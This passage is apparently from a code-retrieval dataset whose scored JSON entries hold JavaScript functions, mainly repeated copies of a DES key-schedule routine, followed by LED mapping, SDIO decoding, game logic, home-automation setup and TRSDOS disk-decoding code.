0x10000400, 0x408, 0x10000408];\n const pc2bytes10 = [0, 0x20, 0, 0x20, 0x100000, 0x100020, 0x100000, 0x100020, 0x2000, 0x2020, 0x2000, 0x2020, 0x102000, 0x102020, 0x102000, 0x102020];\n const pc2bytes11 = [0, 0x1000000, 0x200, 0x1000200, 0x200000, 0x1200000, 0x200200, 0x1200200, 0x4000000, 0x5000000, 0x4000200, 0x5000200, 0x4200000, 0x5200000, 0x4200200, 0x5200200];\n const pc2bytes12 = [0, 0x1000, 0x8000000, 0x8001000, 0x80000, 0x81000, 0x8080000, 0x8081000, 0x10, 0x1010, 0x8000010, 0x8001010, 0x80010, 0x81010, 0x8080010, 0x8081010];\n const pc2bytes13 = [0, 0x4, 0x100, 0x104, 0, 0x4, 0x100, 0x104, 0x1, 0x5, 0x101, 0x105, 0x1, 0x5, 0x101, 0x105];\n\n //how many iterations (1 for des, 3 for triple des)\n const iterations = key.length > 8 ? 3 : 1; //changed by Paul 16/6/2007 to use Triple DES for 9+ byte keys\n //stores the return keys\n const keys = new Array(32 * iterations);\n //now define the left shifts which need to be done\n const shifts = [0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0];\n //other variables\n let lefttemp;\n let righttemp;\n let m = 0;\n let n = 0;\n let temp;\n\n for (let j = 0; j < iterations; j++) {\n //either 1 or 3 iterations\n let left = key[m++] << 24 | key[m++] << 16 | key[m++] << 8 | key[m++];\n let right = key[m++] << 24 | key[m++] << 16 | key[m++] << 8 | key[m++];\n\n temp = (left >>> 4 ^ right) & 0x0f0f0f0f;\n right ^= temp;\n left ^= temp << 4;\n temp = (right >>> -16 ^ left) & 0x0000ffff;\n left ^= temp;\n right ^= temp << -16;\n temp = (left >>> 2 ^ right) & 0x33333333;\n right ^= temp;\n left ^= temp << 2;\n temp = (right >>> -16 ^ left) & 0x0000ffff;\n left ^= temp;\n right ^= temp << -16;\n temp = (left >>> 1 ^ right) & 0x55555555;\n right ^= temp;\n left ^= temp << 1;\n temp = (right >>> 8 ^ left) & 0x00ff00ff;\n left ^= temp;\n right ^= temp << 8;\n temp = (left >>> 1 ^ right) & 0x55555555;\n right ^= temp;\n left ^= temp << 1;\n\n //the right side needs to be shifted and to get the last four bits of the left side\n temp = left << 8 | right >>> 20 & 0x000000f0;\n //left needs to be put upside down\n left = right << 24 | right << 8 & 0xff0000 | right >>> 8 & 0xff00 | right >>> 24 & 0xf0;\n right = temp;\n\n //now go through and perform these shifts on the left and right keys\n for (let i = 0; i < shifts.length; i++) {\n //shift the keys either one or two bits to the left\n if (shifts[i]) {\n left = left << 2 | left >>> 26;\n right = right << 2 | right >>> 26;\n } else {\n left = left << 1 | left >>> 27;\n right = right << 1 | right >>> 27;\n }\n left &= -0xf;\n right &= -0xf;\n\n //now apply PC-2, in such a way that E is easier when encrypting or decrypting\n //this conversion will look like PC-2 except only the last 6 bits of each byte are used\n //rather than 48 consecutive bits and the order of lines will be according to\n //how the S selection functions will be applied: S2, S4, S6, S8, S1, S3, S5, S7\n lefttemp = pc2bytes0[left >>> 28] | pc2bytes1[left >>> 24 & 0xf] | pc2bytes2[left >>> 20 & 0xf] | pc2bytes3[left >>> 16 & 0xf] | pc2bytes4[left >>> 12 & 0xf] | pc2bytes5[left >>> 8 & 0xf] | pc2bytes6[left >>> 4 & 0xf];\n righttemp = pc2bytes7[right >>> 28] | pc2bytes8[right >>> 24 & 0xf] | pc2bytes9[right >>> 20 & 0xf] | pc2bytes10[right >>> 16 & 0xf] | pc2bytes11[right >>> 12 & 0xf] | pc2bytes12[right >>> 8 & 0xf] | pc2bytes13[right >>> 4 & 0xf];\n temp = (righttemp >>> 16 ^ lefttemp) & 0x0000ffff;\n keys[n++] = lefttemp ^ temp;\n keys[n++] = righttemp ^ temp << 16;\n }\n } //for each iterations\n //return the keys we've created\n return keys;\n} //end of des_createKeys", "title": "" }, { "docid": "c9a820b71cdabce749fea54efd9c1313", "score": "0.4552625", "text": "function des_createKeys(key) {\n //declaring this locally speeds things up a bit\n const pc2bytes0 = [0, 0x4, 0x20000000, 0x20000004, 0x10000, 0x10004, 0x20010000, 0x20010004, 0x200, 0x204, 0x20000200, 0x20000204, 0x10200, 0x10204, 0x20010200, 0x20010204];\n const pc2bytes1 = [0, 0x1, 0x100000, 0x100001, 0x4000000, 0x4000001, 0x4100000, 0x4100001, 0x100, 0x101, 0x100100, 0x100101, 0x4000100, 0x4000101, 0x4100100, 0x4100101];\n const pc2bytes2 = [0, 0x8, 0x800, 0x808, 0x1000000, 0x1000008, 0x1000800, 0x1000808, 0, 0x8, 0x800, 0x808, 0x1000000, 0x1000008, 0x1000800, 0x1000808];\n const pc2bytes3 = [0, 0x200000, 0x8000000, 0x8200000, 0x2000, 0x202000, 0x8002000, 0x8202000, 0x20000, 0x220000, 0x8020000, 0x8220000, 0x22000, 0x222000, 0x8022000, 0x8222000];\n const pc2bytes4 = [0, 0x40000, 0x10, 0x40010, 0, 0x40000, 0x10, 0x40010, 0x1000, 0x41000, 0x1010, 0x41010, 0x1000, 0x41000, 0x1010, 0x41010];\n const pc2bytes5 = [0, 0x400, 0x20, 0x420, 0, 0x400, 0x20, 0x420, 0x2000000, 0x2000400, 0x2000020, 0x2000420, 0x2000000, 0x2000400, 0x2000020, 0x2000420];\n const pc2bytes6 = [0, 0x10000000, 0x80000, 0x10080000, 0x2, 0x10000002, 0x80002, 0x10080002, 0, 0x10000000, 0x80000, 0x10080000, 0x2, 0x10000002, 0x80002, 0x10080002];\n const pc2bytes7 = [0, 0x10000, 0x800, 0x10800, 0x20000000, 0x20010000, 0x20000800, 0x20010800, 0x20000, 0x30000, 0x20800, 0x30800, 0x20020000, 0x20030000, 0x20020800, 0x20030800];\n const pc2bytes8 = [0, 0x40000, 0, 0x40000, 0x2, 0x40002, 0x2, 0x40002, 0x2000000, 0x2040000, 0x2000000, 0x2040000, 0x2000002, 0x2040002, 0x2000002, 0x2040002];\n const pc2bytes9 = [0, 0x10000000, 0x8, 0x10000008, 0, 0x10000000, 0x8, 0x10000008, 0x400, 0x10000400, 0x408, 0x10000408, 0x400, 0x10000400, 0x408, 0x10000408];\n const pc2bytes10 = [0, 0x20, 0, 0x20, 0x100000, 0x100020, 0x100000, 0x100020, 0x2000, 0x2020, 0x2000, 0x2020, 0x102000, 0x102020, 0x102000, 0x102020];\n const pc2bytes11 = [0, 0x1000000, 0x200, 0x1000200, 0x200000, 0x1200000, 0x200200, 0x1200200, 0x4000000, 0x5000000, 0x4000200, 0x5000200, 0x4200000, 0x5200000, 0x4200200, 0x5200200];\n const pc2bytes12 = [0, 0x1000, 0x8000000, 0x8001000, 0x80000, 0x81000, 0x8080000, 0x8081000, 0x10, 0x1010, 0x8000010, 0x8001010, 0x80010, 0x81010, 0x8080010, 0x8081010];\n const pc2bytes13 = [0, 0x4, 0x100, 0x104, 0, 0x4, 0x100, 0x104, 0x1, 0x5, 0x101, 0x105, 0x1, 0x5, 0x101, 0x105];\n\n //how many iterations (1 for des, 3 for triple des)\n const iterations = key.length > 8 ? 3 : 1; //changed by Paul 16/6/2007 to use Triple DES for 9+ byte keys\n //stores the return keys\n const keys = new Array(32 * iterations);\n //now define the left shifts which need to be done\n const shifts = [0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0];\n //other variables\n let lefttemp;\n let righttemp;\n let m = 0;\n let n = 0;\n let temp;\n\n for (let j = 0; j < iterations; j++) {\n //either 1 or 3 iterations\n let left = key[m++] << 24 | key[m++] << 16 | key[m++] << 8 | key[m++];\n let right = key[m++] << 24 | key[m++] << 16 | key[m++] << 8 | key[m++];\n\n temp = (left >>> 4 ^ right) & 0x0f0f0f0f;\n right ^= temp;\n left ^= temp << 4;\n temp = (right >>> -16 ^ left) & 0x0000ffff;\n left ^= temp;\n right ^= temp << -16;\n temp = (left >>> 2 ^ right) & 0x33333333;\n right ^= temp;\n left ^= temp << 2;\n temp = (right >>> -16 ^ left) & 0x0000ffff;\n left ^= temp;\n right ^= temp << -16;\n temp = (left >>> 1 ^ right) & 0x55555555;\n right ^= temp;\n left ^= temp << 1;\n temp = (right >>> 8 ^ left) & 0x00ff00ff;\n left ^= temp;\n right ^= temp << 8;\n temp = (left >>> 1 ^ right) & 0x55555555;\n right ^= temp;\n left ^= temp << 1;\n\n //the right side needs to be shifted and to get the last four bits of the left side\n temp = left << 8 | right >>> 20 & 0x000000f0;\n //left needs to be put upside down\n left = right << 24 | right << 8 & 0xff0000 | right >>> 8 & 0xff00 | right >>> 24 & 0xf0;\n right = temp;\n\n //now go through and perform these shifts on the left and right keys\n for (let i = 0; i < shifts.length; i++) {\n //shift the keys either one or two bits to the left\n if (shifts[i]) {\n left = left << 2 | left >>> 26;\n right = right << 2 | right >>> 26;\n } else {\n left = left << 1 | left >>> 27;\n right = right << 1 | right >>> 27;\n }\n left &= -0xf;\n right &= -0xf;\n\n //now apply PC-2, in such a way that E is easier when encrypting or decrypting\n //this conversion will look like PC-2 except only the last 6 bits of each byte are used\n //rather than 48 consecutive bits and the order of lines will be according to\n //how the S selection functions will be applied: S2, S4, S6, S8, S1, S3, S5, S7\n lefttemp = pc2bytes0[left >>> 28] | pc2bytes1[left >>> 24 & 0xf] | pc2bytes2[left >>> 20 & 0xf] | pc2bytes3[left >>> 16 & 0xf] | pc2bytes4[left >>> 12 & 0xf] | pc2bytes5[left >>> 8 & 0xf] | pc2bytes6[left >>> 4 & 0xf];\n righttemp = pc2bytes7[right >>> 28] | pc2bytes8[right >>> 24 & 0xf] | pc2bytes9[right >>> 20 & 0xf] | pc2bytes10[right >>> 16 & 0xf] | pc2bytes11[right >>> 12 & 0xf] | pc2bytes12[right >>> 8 & 0xf] | pc2bytes13[right >>> 4 & 0xf];\n temp = (righttemp >>> 16 ^ lefttemp) & 0x0000ffff;\n keys[n++] = lefttemp ^ temp;\n keys[n++] = righttemp ^ temp << 16;\n }\n } //for each iterations\n //return the keys we've created\n return keys;\n} //end of des_createKeys", "title": "" }, { "docid": "ecbf9f27b6453461115d88d449b8f078", "score": "0.45435184", "text": "function des_createKeys(key) {\n\t //declaring this locally speeds things up a bit\n\t var pc2bytes0 = new Array(0, 0x4, 0x20000000, 0x20000004, 0x10000, 0x10004, 0x20010000, 0x20010004, 0x200, 0x204, 0x20000200, 0x20000204, 0x10200, 0x10204, 0x20010200, 0x20010204);\n\t var pc2bytes1 = new Array(0, 0x1, 0x100000, 0x100001, 0x4000000, 0x4000001, 0x4100000, 0x4100001, 0x100, 0x101, 0x100100, 0x100101, 0x4000100, 0x4000101, 0x4100100, 0x4100101);\n\t var pc2bytes2 = new Array(0, 0x8, 0x800, 0x808, 0x1000000, 0x1000008, 0x1000800, 0x1000808, 0, 0x8, 0x800, 0x808, 0x1000000, 0x1000008, 0x1000800, 0x1000808);\n\t var pc2bytes3 = new Array(0, 0x200000, 0x8000000, 0x8200000, 0x2000, 0x202000, 0x8002000, 0x8202000, 0x20000, 0x220000, 0x8020000, 0x8220000, 0x22000, 0x222000, 0x8022000, 0x8222000);\n\t var pc2bytes4 = new Array(0, 0x40000, 0x10, 0x40010, 0, 0x40000, 0x10, 0x40010, 0x1000, 0x41000, 0x1010, 0x41010, 0x1000, 0x41000, 0x1010, 0x41010);\n\t var pc2bytes5 = new Array(0, 0x400, 0x20, 0x420, 0, 0x400, 0x20, 0x420, 0x2000000, 0x2000400, 0x2000020, 0x2000420, 0x2000000, 0x2000400, 0x2000020, 0x2000420);\n\t var pc2bytes6 = new Array(0, 0x10000000, 0x80000, 0x10080000, 0x2, 0x10000002, 0x80002, 0x10080002, 0, 0x10000000, 0x80000, 0x10080000, 0x2, 0x10000002, 0x80002, 0x10080002);\n\t var pc2bytes7 = new Array(0, 0x10000, 0x800, 0x10800, 0x20000000, 0x20010000, 0x20000800, 0x20010800, 0x20000, 0x30000, 0x20800, 0x30800, 0x20020000, 0x20030000, 0x20020800, 0x20030800);\n\t var pc2bytes8 = new Array(0, 0x40000, 0, 0x40000, 0x2, 0x40002, 0x2, 0x40002, 0x2000000, 0x2040000, 0x2000000, 0x2040000, 0x2000002, 0x2040002, 0x2000002, 0x2040002);\n\t var pc2bytes9 = new Array(0, 0x10000000, 0x8, 0x10000008, 0, 0x10000000, 0x8, 0x10000008, 0x400, 0x10000400, 0x408, 0x10000408, 0x400, 0x10000400, 0x408, 0x10000408);\n\t var pc2bytes10 = new Array(0, 0x20, 0, 0x20, 0x100000, 0x100020, 0x100000, 0x100020, 0x2000, 0x2020, 0x2000, 0x2020, 0x102000, 0x102020, 0x102000, 0x102020);\n\t var pc2bytes11 = new Array(0, 0x1000000, 0x200, 0x1000200, 0x200000, 0x1200000, 0x200200, 0x1200200, 0x4000000, 0x5000000, 0x4000200, 0x5000200, 0x4200000, 0x5200000, 0x4200200, 0x5200200);\n\t var pc2bytes12 = new Array(0, 0x1000, 0x8000000, 0x8001000, 0x80000, 0x81000, 0x8080000, 0x8081000, 0x10, 0x1010, 0x8000010, 0x8001010, 0x80010, 0x81010, 0x8080010, 0x8081010);\n\t var pc2bytes13 = new Array(0, 0x4, 0x100, 0x104, 0, 0x4, 0x100, 0x104, 0x1, 0x5, 0x101, 0x105, 0x1, 0x5, 0x101, 0x105);\n\n\t //how many iterations (1 for des, 3 for triple des)\n\t var iterations = key.length > 8 ? 3 : 1; //changed by Paul 16/6/2007 to use Triple DES for 9+ byte keys\n\t //stores the return keys\n\t var keys = new Array(32 * iterations);\n\t //now define the left shifts which need to be done\n\t var shifts = new Array(0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0);\n\t //other variables\n\t var lefttemp,\n\t righttemp,\n\t m = 0,\n\t n = 0,\n\t temp;\n\n\t for (var j = 0; j < iterations; j++) {\n\t //either 1 or 3 iterations\n\t var left = key[m++] << 24 | key[m++] << 16 | key[m++] << 8 | key[m++];\n\t var right = key[m++] << 24 | key[m++] << 16 | key[m++] << 8 | key[m++];\n\n\t temp = (left >>> 4 ^ right) & 0x0f0f0f0f;\n\t right ^= temp;\n\t left ^= temp << 4;\n\t temp = (right >>> -16 ^ left) & 0x0000ffff;\n\t left ^= temp;\n\t right ^= temp << -16;\n\t temp = (left >>> 2 ^ right) & 0x33333333;\n\t right ^= temp;\n\t left ^= temp << 2;\n\t temp = (right >>> -16 ^ left) & 0x0000ffff;\n\t left ^= temp;\n\t right ^= temp << -16;\n\t temp = (left >>> 1 ^ right) & 0x55555555;\n\t right ^= temp;\n\t left ^= temp << 1;\n\t temp = (right >>> 8 ^ left) & 0x00ff00ff;\n\t left ^= temp;\n\t right ^= temp << 8;\n\t temp = (left >>> 1 ^ right) & 0x55555555;\n\t right ^= temp;\n\t left ^= temp << 1;\n\n\t //the right side needs to be shifted and to get the last four bits of the left side\n\t temp = left << 8 | right >>> 20 & 0x000000f0;\n\t //left needs to be put upside down\n\t left = right << 24 | right << 8 & 0xff0000 | right >>> 8 & 0xff00 | right >>> 24 & 0xf0;\n\t right = temp;\n\n\t //now go through and perform these shifts on the left and right keys\n\t for (var i = 0; i < shifts.length; i++) {\n\t //shift the keys either one or two bits to the left\n\t if (shifts[i]) {\n\t left = left << 2 | left >>> 26;\n\t right = right << 2 | right >>> 26;\n\t } else {\n\t left = left << 1 | left >>> 27;\n\t right = right << 1 | right >>> 27;\n\t }\n\t left &= -0xf;\n\t right &= -0xf;\n\n\t //now apply PC-2, in such a way that E is easier when encrypting or decrypting\n\t //this conversion will look like PC-2 except only the last 6 bits of each byte are used\n\t //rather than 48 consecutive bits and the order of lines will be according to\n\t //how the S selection functions will be applied: S2, S4, S6, S8, S1, S3, S5, S7\n\t lefttemp = pc2bytes0[left >>> 28] | pc2bytes1[left >>> 24 & 0xf] | pc2bytes2[left >>> 20 & 0xf] | pc2bytes3[left >>> 16 & 0xf] | pc2bytes4[left >>> 12 & 0xf] | pc2bytes5[left >>> 8 & 0xf] | pc2bytes6[left >>> 4 & 0xf];\n\t righttemp = pc2bytes7[right >>> 28] | pc2bytes8[right >>> 24 & 0xf] | pc2bytes9[right >>> 20 & 0xf] | pc2bytes10[right >>> 16 & 0xf] | pc2bytes11[right >>> 12 & 0xf] | pc2bytes12[right >>> 8 & 0xf] | pc2bytes13[right >>> 4 & 0xf];\n\t temp = (righttemp >>> 16 ^ lefttemp) & 0x0000ffff;\n\t keys[n++] = lefttemp ^ temp;\n\t keys[n++] = righttemp ^ temp << 16;\n\t }\n\t } //for each iterations\n\t //return the keys we've created\n\t return keys;\n\t} //end of des_createKeys", "title": "" }, { "docid": "b4ea9cc69776446ff5c751eb56e47448", "score": "0.4507074", "text": "function LedMap(len)\n{\n\tvar x;\n\tvar y;\n\tvar rightSide = 0;\n\tvar uni;\n\tvar led;\n\n\tif(len !== (WIDTH_PIXELS * HEIGHT_PIXELS))\n\t{\n\t\treturn;\n\t}\n\n\tvar ledMap = []; // create an empty array\n\t\n // for each line\n\n\tfor( y = 0; y < HEIGHT_PIXELS; y++ )\n\t{\n\t\t// for each pixel\n\n\t\tfor( x = 0; x < WIDTH_PIXELS; x++ )\n\t\t{\n\t\t\tvar offset;\n\n\t\t\t// IFL ceiling map is made up of 8 identical controllers mapped\n\t\t\t// one below the other each with 4 universes of 90 pixels each\n\t\t\t// the universes start in the middle of the Y and go out left and\n\t\t\t// right from there. Also we need to weave our way up and down\n\t\t\t// for how the panels are wired.\n\n\t\t\t// first pick the universe in the controller\n\n\t\t\t// divide y by 3 lines per universe times 2 for number of unis to\n\t\t\t// create a full line\n\n\t\t\tuni = UNIS_PER_FULL_LINE * Math.floor(y / LINES_PER_UNI);\n\n\t\t\t// we really need to see if we are in the left or right universe\n\n\t\t\tif( x >= Math.floor(WIDTH_PIXELS / 2) )\n\t\t\t{\n\t\t\t\t// we are in the second uni for this line\n\n\t\t\t\tuni++;\n\t\t\t\trightSide = 1;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\trightSide = 0;\n\t\t\t}\n\n\t\t\t// so now we know we side we are working on we can figure out\n\t\t\t// which LED we are in the IFL universes\n\n\t\t\tif( rightSide === 0 )\n\t\t\t{\n\t\t\t\t// we start from the middle LED as 0 and go up as we go left so\n\t\t\t\t// we need how many pixels we are from center.\n\n\t\t\t\toffset = (Math.floor(WIDTH_PIXELS / 2) - 1) - x;\n\n\t\t\t\tswitch( y % LINES_PER_UNI )\n\t\t\t\t{\n\t\t\t\t\t// this seems complicated but we start with x=0/led=0\n\t\t\t\t\t// then x=1/led=5, x=2/led=6, x=3/led=11 this is because\n\t\t\t\t\t// of the wiring of the leds. Each case is different\n\n\t\t\t\t\tcase 0:\n\t\t\t\t\tled = Math.floor(offset/2) * 6 + (((offset % 2) === 0) ? 2 : 3);\n\t\t\t\t\tbreak;\n\t\t\t\t\tcase 1:\n\t\t\t\t\tled = Math.floor(offset/2) * 6 + (((offset % 2) === 0) ? 1 : 4);\n\t\t\t\t\tbreak;\n\t\t\t\t\tcase 2:\n\t\t\t\t\tled = Math.floor(offset/2) * 6 + (((offset % 2) === 0) ? 0 : 5);\n\t\t\t\t\tbreak;\n\t\t\t\t\tdefault:\n\t\t\t\t\t// not possible\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t// we start from the middle LED as 0 and go up as we go right\n\n\t\t\t\toffset = x - Math.floor(WIDTH_PIXELS / 2);\n\n\t\t\t\tswitch( y % LINES_PER_UNI )\n\t\t\t\t{\n\t\t\t\t\t// this seems complicated but we start with x=0/led=2\n\t\t\t\t\t// then x=1/led=3, x=2/led=8, x=3/led=9 this is because\n\t\t\t\t\t// of the wiring of the leds. Each case is different\n\n\t\t\t\t\tcase 0:\n\t\t\t\t\tled = Math.floor(offset/2) * 6 + (((offset % 2) === 0) ? 0 : 5);\n\t\t\t\t\tbreak;\n\t\t\t\t\tcase 1:\n\t\t\t\t\tled = Math.floor(offset/2) * 6 + (((offset % 2) === 0) ? 1 : 4);\n\t\t\t\t\tbreak;\n\t\t\t\t\tcase 2:\n\t\t\t\t\tled = Math.floor(offset/2) * 6 + (((offset % 2) === 0) ? 2 : 3);\n\t\t\t\t\tbreak;\n\t\t\t\t\tdefault:\n\t\t\t\t\t// not possible\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// we now have the universe and the led within the universe\n\t\t\t// we save them off into an array so that we can map a simple\n\t\t\t// X/Y grid into our leds and have it display correctly\n\n\t\t\tvar leds = {\n\t\t\t\t'uni': uni,\n\t\t\t\t'led': led * 3, // we have an array of red, green, blue ...\n\t\t\t};\n\t\t\t\n\t\t\tledMap.push(leds);\n\t\t}\n\t}\n\n\t// we have a full map of pixel to uni/led we can hand this info back\n\n\treturn ledMap;\n}", "title": "" }, { "docid": "98347dcf60309fafc5f523859a1fc30f", "score": "0.4485098", "text": "initDNAReplication() {\n\n // Initial spacing before first codon.\n for (let i = 0; i < 120; i++) {\n this.levelNucleotides.push(null);\n }\n\n // This loop is important, says how many total \"spots\" along line.\n // Controls the spacing between codons as they travel the path.\n for (let i = 0; i < this.level.nucleotides.length * this.pathPointsFactor; i++) {\n let prevIdx = Math.floor((i - 1) / this.pathPointsFactor);\n let currIdx = Math.floor(i / this.pathPointsFactor);\n let nextIdx = Math.floor((i + 1) / this.pathPointsFactor);\n\n if (currIdx === nextIdx) {\n // Spaces out nucleotides\n this.levelNucleotides.push(null);\n this.levelNucleotides.push(null);\n continue;\n }\n this.levelNucleotides.push(this.level.nucleotides[currIdx]);\n }\n }", "title": "" }, { "docid": "b446c68591e9b9fb83599303dea23cbe", "score": "0.4473306", "text": "function add_CMD19_data(ch, sdio_simple, nbits, crc_calcul)\n{\n var content,b;\n var n_hex_bytes = Math.ceil(sdio_simple.valid_bits / 8);\n var hex_val;\n var prev_content = \"\";\n var value;\n var nb_dat_ch = ch.length;\n var item_start_stop_array = [];\n var bit_array = [];\n var item_display = [];\n for (q=0; q<nb_dat_ch; q++)\n {\n value = Number(sdio_simple.unsigned_words[q]);\n item_display = fill_item_array(value, nbits, bit_array);\n dec_item_new_v2(ch[q],sdio_simple);\n ScanaStudio.dec_item_add_content(\"0h\" + (pad(value.toString(16),nbits/4)))\n display_sample_0_1(sdio_simple,item_display);\n ScanaStudio.dec_item_end();\n packet_string = \"0h\" + (pad(value.toString(16),nbits/4));\n // Packet View\n packet_view_add_packet_v2(ch, sdio_simple, \"Tunning Pattern\", packet_string, \"Data\");\n }\n var item_display_2 = [];\n for (m=0; m<nbits; m++)\n {\n item_display_2.push(bit_array[m]);\n item_display_2.push(bit_array[m+nbits]);\n item_display_2.push(bit_array[m+nbits*2]);\n item_display_2.push(bit_array[m+nbits*3]);\n }\n for(c=0; c<item_display_2.length; c++)\n {\n crc_calcul.push(item_display_2[c]);\n }\n\n return value;\n}", "title": "" }, { "docid": "73025a696d42413ced90e3838e1473c0", "score": "0.44667396", "text": "function CalculateLeveL80CraftingPaths(crafterId)//previously this was an int, should be the 3-letter abbreviation here\n{\n let possibleCraftAfterFirstCraft = [ true, true, true, true, true, true, true, true ];\n let possibleCraftAfterSecondCraft = [ true, true, true, true, true, true, true, true ];\n\n let firstCrafterRow = _lvl80CrafterMatrix[crafterId];\n\n //identify which materials are affectec by the first craft\n let usedMaterials = GetMaterialsUsedByLevel80Craft(firstCrafterRow);\n\n let postFirstCraftTable = [];\n postFirstCraftTable = DeepCopyAnArray(_lvl80CrafterMatrix);\n\n RemoveInvalidCrafts(postFirstCraftTable, usedMaterials, possibleCraftAfterFirstCraft);\n\n //with invalid crafts removed, we need to store possible second crafts to be put into the path\n let secondCraftRowList = [];\n for(let i = 0; i < possibleCraftAfterFirstCraft.length; i++)\n {\n\n if(possibleCraftAfterFirstCraft[i])\n {\n secondCraftRowList.push(_lvl80CrafterMatrix[i]);\n }\n }\n\n //with the second crafts identified, we now need to check each branch of those possible paths to see if a third is available\n let craftsRemain = true;\n let postSecondCraftTable = [];\n let numberOfPaths = 0;\n for(let i = 0; i < secondCraftRowList.length; i++)\n {\n usedMaterials = [];\n //identify which materials are being used by the second craft\n usedMaterials = GetMaterialsUsedByLevel80Craft(secondCraftRowList[i]);\n\n postSecondCraftTable = [];\n postSecondCraftTable = DeepCopyAnArray(postFirstCraftTable);\n possibleCraftAfterSecondCraft = DeepCopyAnArray(possibleCraftAfterFirstCraft);\n\n //even though this post-second craft table variable isn't being used later, we don't want to touch the post-first craft table because\n //we need to use it for more than 1 craft and the following method will modify the passed-in table.\n //there are other solutions, yes. i chose this one over adding a bunch of code to save minimal space in memory in a time when people have GBs of it\n craftsRemain = RemoveInvalidCrafts(postSecondCraftTable, usedMaterials, possibleCraftAfterSecondCraft);\n\n //with invalid crafts removed, we need to store possible final crafts to be put into the path\n if(craftsRemain)\n {\n //since this is only for level 80 crafts, there's a max of 3 possible crafters before the pool is exhausted\n //so if a craft is still possible at this point, there's only one it could be\n for (let j = 0; j < possibleCraftAfterSecondCraft.length; j++)\n {\n if (possibleCraftAfterSecondCraft[j])//if this is true, the craft is still doable, so add it\n {\n _lvl80CraftingPathDictionary.push({\n \"StartingCrafter\" : firstCrafterRow.Crafter,\n \"CraftingPath\" : new Level80CraftingPath(firstCrafterRow.Crafter, secondCraftRowList[i].Crafter, _lvl80CrafterMatrix[j].Crafter)\n });\n numberOfPaths++;\n }\n }\n }\n else\n {\n _lvl80CraftingPathDictionary.push({\n \"StartingCrafter\" : firstCrafterRow.Crafter,\n \"CraftingPath\" : new Level80CraftingPath(firstCrafterRow.Crafter, secondCraftRowList[i].Crafter, \"\")\n });\n numberOfPaths++;\n }\n }\n\n //store the priority (number of paths) of the crafter that paths are being calculated for\n _lvl80CrafterPriorityDictionary.push(\n {\n \"Crafter\": firstCrafterRow.Crafter,\n \"Priority\": numberOfPaths\n }\n );\n}", "title": "" }, { "docid": "b166564f217904c649b75195a0174d4b", "score": "0.44653803", "text": "padSector(data, sectorSize) {\n if (data.length < sectorSize) {\n const newData = new Uint8Array(sectorSize);\n newData.set(data);\n newData.fill(FILL_BYTE, data.length);\n data = newData;\n }\n return data;\n }", "title": "" }, { "docid": "9e69d2bde0b0b46a5e7b966da657cfe9", "score": "0.44572216", "text": "initISYAccessories(callback) {\n this.isy.initialize(() => {\n let results = [];\n let deviceList = this.isy.getDeviceList();\n for (let index = 0; index < deviceList.length; index++) {\n let device = deviceList[index];\n let homeKitDevice = null;\n let garageInfo = this.getGarageEntry(device.address);\n if (!this.shouldIgnore(device)) {\n if (results.length >= 100) {\n this.logger(\"ISYPLATFORM: Skipping any further devices as 100 limit has been reached\");\n break;\n }\n device.name = this.renameDeviceIfNeeded(device);\n if (garageInfo != null) {\n let relayAddress = device.address.substr(0, device.address.length - 1);\n relayAddress += '2';\n let relayDevice = this.isy.getDevice(relayAddress);\n homeKitDevice = new ISYGarageDoorAccessory(this.logger, device, relayDevice, garageInfo.name, garageInfo.timeToOpen, garageInfo.alternate);\n }\n else if (device.deviceType == \"light\" || device.deviceType == \"dimmableLight\") {\n homeKitDevice = new ISYLightAccessory(this.logger, device);\n }\n else if (device.deviceType == \"lock\" || device.deviceType == \"secureLock\") {\n homeKitDevice = new ISYLockAccessory(this.logger, device);\n }\n else if (device.deviceType == \"outlet\") {\n homeKitDevice = new ISYOutletAccessory(this.logger, device);\n }\n else if (device.deviceType == \"fan\") {\n homeKitDevice = new ISYFanAccessory(this.logger, device);\n }\n else if (device.deviceType == \"doorWindowSensor\") {\n homeKitDevice = new ISYDoorWindowSensorAccessory(this.logger, device);\n }\n else if (device.deviceType == \"alarmDoorWindowSensor\") {\n homeKitDevice = new ISYDoorWindowSensorAccessory(this.logger, device);\n }\n else if (device.deviceType == \"alarmPanel\") {\n homeKitDevice = new ISYElkAlarmPanelAccessory(this.logger, device);\n }\n else if (device.deviceType == \"motionSensor\") {\n homeKitDevice = new ISYMotionSensorAccessory(this.logger, device);\n }\n else if (device.deviceType == \"scene\") {\n homeKitDevice = new ISYSceneAccessory(this.logger, device);\n }\n if (homeKitDevice != null) {\n // Make sure the device is address to the global map\n deviceMap[device.address] = homeKitDevice;\n results.push(homeKitDevice);\n }\n }\n }\n if (this.isy.elkEnabled) {\n if (results.length >= 100) {\n this.logger(\"ISYPLATFORM: Skipping adding Elk Alarm panel as device count already at maximum\");\n }\n else {\n let panelDevice = this.isy.getElkAlarmPanel();\n if (panelDevice) {\n panelDevice.name = this.renameDeviceIfNeeded(panelDevice);\n let panelDeviceHK = new ISYElkAlarmPanelAccessory(this.logger, panelDevice);\n deviceMap[panelDevice.address] = panelDeviceHK;\n results.push(panelDeviceHK);\n }\n }\n }\n this.logger(\"ISYPLATFORM: Filtered device has: \" + results.length + \" devices\");\n callback(results);\n });\n }", "title": "" }, { "docid": "746fc74fae71fd8d4055cdfa3d32dd5d", "score": "0.44471782", "text": "function decodeTrsdos(disk) {\n // Decode Granule Allocation Table sector.\n const gatSector = disk.readSector(17, Side.FRONT, 1);\n if (gatSector === undefined || gatSector.deleted) {\n return undefined;\n }\n const gatInfo = decodeGatInfo(gatSector.data);\n if (gatInfo === undefined) {\n return undefined;\n }\n // Decode Hash Index Table sector.\n const hitSector = disk.readSector(17, Side.FRONT, 2);\n if (hitSector === undefined || hitSector.deleted) {\n return undefined;\n }\n const hitInfo = decodeHitInfo(hitSector.data);\n if (hitInfo === undefined) {\n return undefined;\n }\n // Decode directory entries.\n const dirEntries = [];\n for (let k = 0; k < 16; k++) {\n const dirSector = disk.readSector(17, Side.FRONT, k + 3);\n if (dirSector !== undefined) {\n const tandy = decodeAscii(dirSector.data.subarray(5 * DIR_ENTRY_LENGTH));\n if (tandy !== EXPECTED_TANDY) {\n console.error(`Expected 